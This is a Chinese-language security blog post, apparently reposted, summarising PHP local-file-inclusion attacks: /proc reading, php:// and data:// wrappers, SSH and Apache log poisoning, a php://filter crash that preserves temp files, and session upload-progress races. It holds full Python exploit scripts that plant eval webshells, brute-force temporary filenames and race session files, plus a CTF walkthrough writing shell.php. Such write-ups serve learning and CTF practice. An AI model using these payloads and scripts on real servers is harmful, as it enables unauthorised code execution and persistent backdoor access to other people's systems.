照搬大佬的文章,总结得太详细了。敬佩。
参考文章: php文件包含漏洞https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/
/proc
/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录。注意:如果查看非当前进程的信息,pid 是可以进行暴力破解的,如果要查看当前进程,只需/proc/self/代替/proc/[pid ]/即可。
1 2 3 4 5 6 7 8 9
对应目录下的cmdline可读出比较敏感的信息,如使用mysql-uxxx-pxxxx登录MySQL,会在cmdline中显示明文密码: /proc/[pid]/cmdline ([pid]指向进程所对应的终端命令) 有时我们无法获取当前应用所在的目录,通过cwd命令可以直接跳转到当前目录: /proc/[pid]/cmd/ ([pid]指向进程的运行目录) 环境变量中可能存在secret_key,这时也可以通过environ进行读取: /proc/[pid]/environ ([pid]指向进程运行时的环境变量) /proc/[pid]/fd/[num]读取,这个目录包含了进程打开的每一个文件的链接 /proc/[pid]/cwd/文件名 — 指向当前进程运行目录的一个符号链接 proc/self/pwd / 代表的是当前路径
/proc/self/environ 需要有/proc/self/environ的读取权限
如果可以读取,修改User-Agent为php代码,然后lfi点包含,实现rce
/proc/self/fd/1,2,3… 需要有/proc/self/fd/1的读取权限
类似于/proc/self/environ,不同是在referer或报错等写入php代码,然后lfi点包含,实现rce
/proc/self/cwd/文件名 /proc/self/cwd/flag.py 指向当前进程运行目录的一个符号链接,如果知道该进程的相关文件名,不知道目录位置,可以这样读
proc/self/pwd/代表的是当前路径
伪协议
php://filter用来读文件
不需要allow_url_include和allow_url_fopen开启
1
php://filter/read =convert.base64-encode/resource=
php://input 可以实现代码执行
需要allow_url_include:on
1 2 3 4 5 6 7 8
data:// 需要allow_url_fopen,allow_url_include均开启 data://text/plain,<?php phpinfo()?> data:text/plain,<?php phpinfo()?> data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= d·ata:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
expect:// 默认不开启,需要安装PECL package扩展 需要allow_url_include开启
/var/log/
ssh日志 需要有/var/log/auth.log的读取权限
如果目标机开启了ssh,可以通过包含ssh日志的方式来getshell
连接ssh时输入ssh <?php phpinfo(); ?>
@192.168.211.146 php代码便会保存在/var/log/auth.log中
然后lfi点包含,实现rce
apache日志 需要有/var/log/apache2/…的读取权限
包含access.log和error.log来rce
但log文件过大会超时返回500,利用失败
更多日志文件地址见:https://github.com/tennc/fuzzdb/blob/master/attack-payloads/lfi/common-unix-httpd-log-locations.txt
with phpinfo
PHP引擎对enctype=”multipart/form-data”这种请求的处理过程如下
请求到达;
创建临时文件,并写入上传文件的内容;文件为/tmp/php[w]{6}
调用相应PHP脚本进行处理,如校验名称、大小等;
删除临时文件。
https://www.anquanke.com/post/id/177491
with php崩溃
php Segfault 向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
1.php < 7.2
1
php://filter/string.strip_tags/resource=/etc/passwd
2.php7 老版本通杀
1
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
更新之后的版本已经修复,不会再使php崩溃了,这里我使用老版本来测试可以利用
包含上面两条payload可以使php崩溃,请求中同时存在一个上传文件的请求则会使临时文件保存,然后爆破临时文件名,包含来rce
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
import requestsimport stringdef upload_file (url, file_content) : files = {'file' : ('daolgts.jpg' , file_content, 'image/jpeg' )} try : requests.post(url, files=files) except Exception as e: print e charset = string.digits+string.letters webshell = '<?php eval($_REQUEST[daolgts]);?>' .encode("base64" ).strip() file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell) url="http://192.168.211.146/lfi.php" parameter="file" payload1="php://filter/string.strip_tags/resource=/etc/passwd" payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA" lfi_url = url+"?" +parameter+"=" +payload1 length = 6 times = len(charset) ** (length / 2 ) for i in xrange(times): print "[+] %d / %d" % (i, times) upload_file(lfi_url, file_content)
爆破tmp文件名 然后爆破临时文件名来包含
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
import requestsimport stringcharset = string.digits + string.letters base_url="http://192.168.211.146/lfi.php" parameter="file" for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset: filename = i + j + k + l + m + n url = base_url+"?" +parameter+"=/tmp/php" +filename print url try : response = requests.get(url) if 'success' in response.content: print "[+] Include success!" print "url:" +url exit() except Exception as e: print e
session
如果session.upload_progress.enabled=On开启,就可以包含session来getshell,并且这个参数在php中是默认开启的
https://php.net/manual/zh/session.upload-progress.php
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
也就是说session中会添加session.upload_progress.prefix+$_POST[ini_get['session.upload_progress.name']]
,而session.upload_progress.name是可控的,所以就可以在session写入php代码,然后包含session文件来rce
session.upload_progress.prefix和session.upload_progress.name还有session的储存位置session.save_path都能在phpinfo中获取,默认为: 同时能看到session.upload_progress.cleanup是默认开启的,这个配置就是POST请求结束后会把session清空,所以session的存在时间很短,需要条件竞争来读取
下面测试一下,构造一个html来发包
1 2 3 4 5 6
<form action ="http://192.168.211.146/phpinfo.php" method ="POST" enctype ="multipart/form-data" > <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="<?php phpinfo(); ?>" /> <input type ="file" name ="file1" /> <input type ="file" name ="file2" /> <input type ="submit" /> </form >
在数据包里加入PHPSESSION,才能生成session文件
burp不断发包,成功包含
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
import requestsimport threadingwebshell = '<?php eval($_REQUEST[daolgts]);?>' .encode("base64" ).strip() file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell) url='http://192.168.211.146/lfi.php' r=requests.session() def POST () : while True : file={ "upload" :('daolgts.jpg' , file_content, 'image/jpeg' ) } data={ "PHP_SESSION_UPLOAD_PROGRESS" :file_content } headers={ "Cookie" :'PHPSESSID=123456' } r.post(url,files=file,headers=headers,data=data) def READ () : while True : event.wait() t=r.get("http://192.168.211.146/lfi.php?file=/var/lib/php/sessions/sess_123456" ) if 'success' not in t.text: print('[+]retry' ) else : print(t.text) event.clear() event=threading.Event() event.set() threading.Thread(target=POST,args=()).start() threading.Thread(target=POST,args=()).start() threading.Thread(target=POST,args=()).start() threading.Thread(target=READ,args=()).start() threading.Thread(target=READ,args=()).start() threading.Thread(target=READ,args=()).start()
例题
[NPUCTF2020]ezinclude
方法一 php版本是7.0.33,大于5.4,可以尝试利用session.upload_progress进行session文件包含:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
import ioimport sysimport requestsimport threadinghost = 'http://4da37c54-0605-4773-b4a7-11235251b69c.node3.buuoj.cn/flflflflag.php' sessid = 'feng' def POST (session) : while True : f = io.BytesIO(b'a' * 1024 * 50 ) session.post( host, data={"PHP_SESSION_UPLOAD_PROGRESS" :"<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>" }, files={"file" :('a.txt' , f)}, cookies={'PHPSESSID' :sessid} ) def READ (session) : while True : response = session.get(f'{host} ?file=/tmp/sess_{sessid} ' ) if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text: print('[+++]retry' ) else : print(response.text) sys.exit(0 ) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
写进shell.php,执行phpinfo即可找到flag。
方法二:
1 2 3 4 5 6 7 8 9 10 11
import requestsfrom io import BytesIOimport refile_data={ 'file' : BytesIO(b"<?php eval($_POST[cmd]);" ) } url="http://1e9ab8e3-1c1c-485c-bb3b-c2ed35ce3a39.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" try : r=requests.post(url=url,files=file_data,allow_redirects=False ) except Exception as e: print(e)
有dir.php,可得/tmp目录下的文件,最后flag在phpinfo中
参考文章:https://www.anquanke.com/post/id/177491
FROM :blog.cfyqy.com | Author:cfyqy
评论